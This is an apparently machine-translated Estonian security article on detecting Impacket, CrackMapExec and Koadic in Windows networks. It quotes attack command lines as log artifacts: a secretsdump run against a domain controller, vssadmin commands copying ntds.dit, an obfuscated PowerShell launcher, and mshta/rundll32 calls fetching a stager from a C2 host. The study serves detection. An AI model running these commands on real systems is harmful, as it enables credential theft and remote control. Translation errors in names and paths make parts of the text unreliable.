Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine

Rünnakute arv ettevõtete sektoris kasvab iga aastaga: näiteks registreeris 2017. aastal 13% rohkem unikaalseid intsidente kui 2016. aastal ja 2018. aasta lõpus — 27% rohkem juhtumeidkui eelmisel perioodil. Kaasa arvatud need, kus peamiseks töövahendiks on Windowsi operatsioonisüsteem. Aastatel 2017–2018 APT Dragonfly, APT28, APT MuddyWater korraldas rünnakuid valitsus- ja sõjaliste organisatsioonide vastu Euroopas, Põhja-Ameerikas ja Saudi Araabias. Ja nad kasutasid selleks kolme tööriista - Impact, CrackMapExec и Koadic. Nende lähtekood on avatud ja saadaval GitHubis.

Väärib märkimist, et neid tööriistu ei kasutata esmaseks tungimiseks, vaid rünnaku arendamiseks infrastruktuuri sees. Ründajad kasutavad neid rünnaku erinevatel etappidel pärast perimeetri tungimist. Seda, muide, on raske tuvastada ja sageli ainult tehnoloogia abil võrguliikluses kompromissi jälgede tuvastamine või tööriistu tuvastada sissetungija aktiivsed tegevused pärast infrastruktuuri tungimist. Tööriistad pakuvad mitmesuguseid funktsioone, alates failide edastamisest kuni registriga suhtlemiseni ja käskude täitmiseni kaugmasinas. Viisime läbi nende tööriistade uuringu, et määrata kindlaks nende võrgutegevus.

Mida me tegema pidime:

  • Saate aru, kuidas häkkimistööriistad töötavad. Uurige, mida ründajad peavad ära kasutama ja milliseid tehnoloogiaid nad saavad kasutada.
  • Otsige üles seda, mida infoturbe tööriistad rünnaku esimestes etappides ei tuvasta. Luureetapi võib vahele jätta kas seetõttu, et ründaja on sisemine ründaja või kasutab ära infrastruktuuri viga, mida varem ei tuntud. Võimalik on taastada kogu tema tegevuste ahel, seega tekib soov tuvastada edasist liikumist.
  • Kõrvaldage sissetungi tuvastamise tööriistadest valepositiivsed tulemused. Ei tohi unustada, et kui teatud toimingud avastatakse ainuüksi intelligentsuse põhjal, on võimalikud sagedased vead. Tavaliselt on infrastruktuuris igasuguse teabe hankimiseks piisav arv viise, mis on esmapilgul õiguspärasest eristamatud.

Mida need tööriistad ründajatele annavad? Kui tegemist on Impacketiga, saavad ründajad suure hulga mooduleid, mida saab kasutada rünnaku erinevates etappides pärast perimeetri tungimist. Paljud tööriistad kasutavad sisemiselt Impacket mooduleid, näiteks Metasploit. Sellel on käskude kaugkäivitamiseks dcomexec ja wmiexec ning Impacketist mälukontode lisamiseks secretsdump. Selle tulemusena tagab sellise raamatukogu aktiivsuse õige tuvastamine derivaatide tuvastamise.

CrackMapExeci (või lihtsalt CME) kohta kirjutasid loojad põhjusega "Powered by Impacket". Lisaks on CME-l populaarsete stsenaariumide jaoks valmis funktsionaalsus: see on Mimikatz paroolide või nende räside hankimiseks ning Meterpreteri või Empire agendi kasutuselevõtt kaugkäivitamiseks ja Bloodhound pardal.

Meie kolmas valitud tööriist on Koadic. See on üsna värske, seda esitleti 25. aastal rahvusvahelisel häkkerikonverentsil DEFCON 2017 ja sellel on ebastandardne lähenemine: see töötab HTTP, Java Scripti ja Microsoft Visual Basic Scripti (VBS) kaudu. Seda lähenemisviisi nimetatakse maast välja elamiseks: tööriist kasutab Windowsi sisseehitatud sõltuvuste ja teekide komplekti. Loojad nimetavad seda COM Command & Control ehk C3-ks.

IMPACKET

Impacketi funktsionaalsus on väga lai, ulatudes AD-sisesest tutvumisest ja andmete kogumisest sisemistest MS SQL-serveritest, lõpetades mandaatide hankimise tehnikatega: see on SMB-edastusrünnak ja kasutaja parooliräsi sisaldava faili ntds.dit hankimine domeenist. kontroller. Impacket täidab ka kaugkäske nelja erineva meetodi abil: WMI kaudu, mis on Windowsi planeerija, DCOM ja SMB haldamise teenus ning selleks on vaja mandaate.

salajane prügimägi

Heidame pilgu Secretsdumpile. See on moodul, mis võib sihtida nii kasutajamasinaid kui ka domeenikontrollereid. Selle abil saate LSA, SAM, SECURITY, NTDS.dit mälupiirkondade koopiaid, nii et seda saab näha rünnaku erinevates etappides. Mooduli töö esimeseks sammuks on autentimine SMB kaudu, mis nõuab Pass the Hash rünnaku automaatseks läbiviimiseks kas kasutaja parooli või selle räsi. Järgmisena tuleb palve avada juurdepääs Service Control Managerile (SCM) ja saada juurdepääs registrile winreg-protokolli abil, mille abil saab ründaja teada teda huvitavate filiaalide andmed ja saada tulemused SMB kaudu.

Joonisel fig. 1 näeme täpselt, kuidas winreg-protokolli kasutamisel saadakse juurdepääs LSA-ga registrivõtmega. Selleks kasutage käsku DCERPC opkoodiga 15 - OpenKey.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 1. Registrivõtme avamine winreg-protokolli abil

Lisaks salvestatakse võtmega juurdepääsu korral väärtused käsu SaveKey abil opkoodiga 20. Impacket teeb seda väga spetsiifilisel viisil. See salvestab väärtused faili, mille nimi on 8 juhuslikust tähemärgist koosnev string, millele on lisatud .tmp. Lisaks toimub selle faili edasine mahalaadimine SMB kaudu System32 kataloogist (joonis 2).

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 2. Kaugmasinast registrivõtme saamise skeem

Selgub, et võrgus saab sellist tegevust tuvastada, kui küsite winreg protokolli abil teatud registriharusid, konkreetseid nimesid, käske ja nende järjekorda.

Samuti jätab see moodul jäljed Windowsi sündmuste logisse, tänu millele on see hõlpsasti tuvastatav. Näiteks käsu täitmise tulemusena

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Windows Server 2016 logis näeme järgmist sündmuste võtmejada:

1. 4624 - Kaugsisselogimine.
2. 5145 - winregi kaugteenuse juurdepääsuõiguste kontrollimine.
3. 5145 - System32 kataloogis oleva faili juurdepääsuõiguste kontrollimine. Failil on ülalmainitud juhuslik nimi.
4. 4688 – protsessi cmd.exe loomine, mis käivitab vssadmini:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - protsessi loomine käsuga:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Nagu paljudel järelkasutustööriistadel, on ka Impacketil moodulid kaugkäskude täitmiseks. Keskendume smbexecile, mis annab teile kaugmasinas interaktiivse käsukesta. See moodul nõuab ka autentimist SMB kaudu kas parooli või selle räsi abil. Joonisel fig. 3 näeme näidet sellise tööriista toimimisest, antud juhul on selleks kohalik administraatorikonsool.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 3. smbexec interaktiivne konsool

Smbexeci esimene samm pärast autentimist on SCM-i avamine käsuga OpenSCManagerW(15). Päring on tähelepanuväärne: selle välja MachineName väärtuseks on määratud DUMMY.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 4. Taotlege Service Control Manageri avamist

Järgmisena luuakse teenus käsu CreateServiceW (12) abil. Smbexeci puhul näeme iga kord sama käsu koostamise loogikat. Joonisel fig. 5 roheline värv näitab käsu muutmatuid parameetreid, kollane - mida ründaja saab muuta. On lihtne näha, et käivitatava faili nime, selle kataloogi ja väljundfaili saab muuta, kuid ülejäänut on palju keerulisem muuta ilma Impacket mooduli loogikat rikkumata.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 5. Taotlege teenuse loomist Service Control Manageri abil

Smbexec jätab selged jäljed ka Windowsi sündmuste logisse. Windows Server 2016 logis interaktiivse käsukesta jaoks koos käsuga ipconfig näeme järgmist sündmuste võtmejada:

1. 4697 - teenuse installimine ohvri masinasse:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - protsessi cmd.exe loomine punktist 1 pärit argumentidega.
3. 5145 - C$ kataloogis oleva __väljundfaili juurdepääsuõiguste kontrollimine.
4. 4697 - Teenuse paigaldamine kannatanu masinasse.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - protsessi cmd.exe loomine punktist 4 pärit argumentidega.
6. 5145 - C$ kataloogis oleva __väljundfaili juurdepääsuõiguste kontrollimine.

Impacet on ründetööriistade väljatöötamise aluseks. See toetab peaaegu kõiki Windowsi infrastruktuuri protokolle ja samal ajal on sellel oma omadused. Siin on konkreetsed winreg-päringud ja SCM API kasutamine koos iseloomulike käskude moodustamisega, failinimede vorming ja SMB-jagamine SYSTEM32.

CRACKMAPEXEC

CME tööriist on mõeldud peamiselt nende rutiinsete toimingute automatiseerimiseks, mida ründaja peab võrgus edasiliikumiseks tegema. See võimaldab teil töötada koos kurikuulsa Empire agendi ja Meterpreteriga. Käskude nähtamatuks täitmiseks saab CME need hägustada. Bloodhoundi (eraldi luuretööriista) abil saab ründaja automatiseerida aktiivse domeeni administraatori seansi otsimise.

Verehaigus

Bloodhound kui eraldiseisev tööriist võimaldab teil võrgus läbi viia täiustatud luuret. See kogub andmeid kasutajate, masinate, rühmade, seansside kohta ja tuleb PowerShelli skriptina või kahendfailina. Teabe kogumiseks kasutatakse LDAP-i või SMB-l põhinevaid protokolle. CME integratsioonimoodul võimaldab Bloodhoundi ohvri masinasse alla laadida, seda käivitada ja kogutud andmed pärast täitmist vastu võtta, automatiseerides sellega süsteemis toiminguid ja muutes need vähem märgatavaks. Bloodhoundi graafiline kest esitab kogutud andmed graafikute kujul, mis võimaldab leida lühima tee ründaja masinast domeeni administraatorini.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 6. Bloodhoundi liides

Ohvri masinas töötamiseks loob moodul ülesande ATSVC ja SMB abil. ATSVC on liides Windowsi ülesannete ajakavaga töötamiseks. CME kasutab võrgu kaudu töökohtade loomiseks funktsiooni NetrJobAdd(1). Näide selle kohta, mida CME moodul saadab, on näidatud joonisel fig. 7: see on väljakutse käsule cmd.exe ja XML-vormingus argumentide kujul ähmastatud kood.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Joonis 7. Ülesande loomine CME kaudu

Pärast ülesande täitmiseks esitamist käivitab ohvri masin Bloodhoundi ise ja seda on liikluses näha. Moodulit iseloomustavad LDAP-päringud standardrühmade hankimiseks, kõigi domeenis olevate masinate ja kasutajate loend, aktiivsete kasutajaseansside kohta teabe hankimine SRVSVC NetSessEnum päringu kaudu.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 8. Aktiivsete seansside loendi hankimine SMB kaudu

Lisaks kaasneb Bloodhoundi käivitamisega ohvri masinas auditeerimisega sündmus ID 4688 (protsessi loomine) ja protsessi nimega «C:WindowsSystem32cmd.exe». Märkimisväärsed selles on käsurea argumendid:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

enum_avproducts

Moodul enum_avproducts on funktsionaalsuse ja teostuse seisukohalt väga huvitav. WMI võimaldab teil kasutada WQL-i päringukeelt erinevatelt Windowsi objektidelt andmete hankimiseks, mida see CME-moodul sisuliselt kasutab. See genereerib päringuid klassidele AntiSpywareProduct ja AntiMirusProduct ohvri masinasse installitud kaitsevahendite kohta. Vajalike andmete saamiseks loob moodul ühenduse rootSecurityCenter2 nimeruumiga, genereerib seejärel WQL-päringu ja saab vastuse. Joonisel fig. 9 näitab selliste päringute ja vastuste sisu. Meie näites leiti Windows Defender.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 9. Mooduli enum_avproducts võrgutegevus

Sageli saab WMI (Trace WMI-Activity) auditeerimise välja lülitada, mille sündmuste puhul leiate kasulikku teavet WQL-päringute kohta. Kui aga see on lubatud, siis skripti enum_avproducts käivitamisel salvestatakse sündmus ID-ga 11. See sisaldab päringu esitanud kasutaja nime ja rootSecurityCenter2 nimeruumis olevat nime.

Igal CME moodulil olid oma artefaktid, olgu need siis konkreetsed WQL-päringud või teatud tüüpi ülesande loomine ülesannete planeerijas koos hägustamise ja Bloodhoundi spetsiifilise tegevusega LDAP-is ja SMB-s.

KOADIC

Koadicu eripäraks on sisseehitatud JavaScripti ja VBScripti interpretaatorite kasutamine Windowsis. Selles mõttes järgib see maalt elamise suundumust - see tähendab, et sellel pole väliseid sõltuvusi ja see kasutab standardseid Windowsi tööriistu. See on tööriist täisväärtusliku Command & Control (CnC) jaoks, sest pärast nakatumist paigaldatakse masinale "implantaat", mis võimaldab seda juhtida. Sellist masinat nimetatakse Koadic terminoloogias "zombiks". Kui ohvri poolel täielikult töötamiseks pole piisavalt õigusi, on Koadicil võimalus neid tõsta, kasutades kasutajakonto kontrolli möödaviimise (UAC bypass) tehnikaid.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 10. Koadic käsu kest

Ohver peab alustama suhtlemist Command & Control serveriga. Selleks peab ta pääsema juurde eelnevalt ettevalmistatud URI-le ja hankima Koadicu põhikeha, kasutades ühte etappidest. Joonisel fig. 11 näitab etappi mshta näidet.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 11. Seansi initsialiseerimine CnC serveriga

Vastuse WS-muutuja järgi saab selgeks, et täitmine toimub WScript.Shelli kaudu ning muutujad STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sisaldavad põhiteavet praeguse seansi parameetrite kohta. See on esimene päringu-vastuse paar HTTP-ühenduses CnC-serveriga. Hilisemad päringud on otseselt seotud kutsutavate moodulite (implantaatide) funktsionaalsusega. Kõik Koadicu moodulid töötavad ainult aktiivse CnC-seansiga.

Mimikatz

Nii nagu CME töötab Bloodhoundiga, töötab Koadic Mimikatziga eraldi programmina ja sellel on mitu võimalust selle käivitamiseks. Allpool on päringu-vastuse paar Mimikatzi implantaadi allalaadimiseks.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 12. Viige Mimikatz Koadicile

Näete, kuidas taotluses oleva URI vorming on muutunud. Sellel on väärtus muutuja csrf jaoks, mis vastutab valitud mooduli eest. Ära pööra tema nimele tähelepanu; me kõik teame, et CSRF-i mõistetakse tavaliselt erinevalt. Vastuseks tuli sama Koadicu põhiosa, millele lisati Mimikatziga seotud kood. See on üsna suur, nii et vaatame põhipunkte. Siin on base64-kodeeringuga Mimikatzi teek, serialiseeritud .NET-klass, mis selle sisestab, ja argumendid Mimikatzi käitamiseks. Täitmise tulemus edastatakse võrgu kaudu selge tekstina.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 13. Kaugmasinas Mimikatzi käivitamise tulemus

Exec_cmd

Koadicul on ka moodulid, mis suudavad kaugjuhtimisega käske täita. Siin näeme sama URI genereerimismeetodit ja tuttavaid sid- ja csrf-muutujaid. Mooduli exec_cmd puhul lisatakse kehasse kood, mis on võimeline täitma shellikäske. CnC-serveri HTTP vastuses kuvatakse järgmine kood.

Rünnakute tuvastamine Windowsi infrastruktuuri vastu: häkkeritööriistade uurimine
Riis. 14. Implantaadi kood exec_cmd

Koodi täitmiseks on vajalik muutuja GAWTUUGCFI tuttava WS-i atribuudiga. Selle abiga kutsub implantaat shelli, töötledes kahte koodiharu - shell.exec koos väljundandmevoo tagastamisega ja shell.run ilma tagastamiseta.

Koadic ei ole tüüpiline tööriist, kuid sellel on oma artefaktid, mille abil saab seda seaduslikus liikluses leida:

  • HTTP päringute spetsiaalne moodustamine,
  • kasutades winHttpRequests API-t,
  • WScript.Shelli objekti loomine ActiveXObjecti kaudu,
  • suur täidetav keha.

Esialgne ühendus käivitab etapi, nii et selle tegevust saab Windowsi sündmuste kaudu tuvastada. Mshta puhul on see sündmus 4688, mis näitab protsessi loomist atribuudiga start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Koadicu teostamise ajal võib näha veel 4688 sündmust koos seda täiuslikult iseloomustavate atribuutidega:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Järeldused

Küberkurjategijate seas kogub populaarsust maast elamise trend. Nad kasutavad oma vajaduste jaoks sisseehitatud Windowsi tööriistu ja mehhanisme. Näeme seda põhimõtet järgivaid populaarseid tööriistu Koadic, CrackMapExec ja Impacket ilmumas APT aruannetes üha sagedamini. GitHubi kahvlite arv nende tööriistade jaoks samuti kasvab, ilmub uusi (neid on praegu juba tuhatkond). Trend kogub populaarsust oma lihtsuse tõttu: ründajad ei vaja kolmandate osapoolte tööriistu, need on juba ohvrite masinates ja aitavad turvameetmetest mööda minna. Oleme keskendunud võrgu interaktsiooni uurimisele: iga ülalkirjeldatud tööriist jätab oma jäljed võrguliiklusesse; nende üksikasjalik uuring võimaldas meil oma toodet õpetada PT võrgurünnaku avastamine nende avastamiseks, mis aitab lõpuks uurida kogu nendega seotud küberintsidentide ahelat.

Autorid:

  • Anton Tyurin, PT ekspertide turvakeskuse positiivsete tehnoloogiate ekspertteenuste osakonna juhataja
  • Egor Podmokov, PT ekspertide turvakeskuse, positiivsete tehnoloogiate ekspert

Allikas: www.habr.com

Lisa kommentaar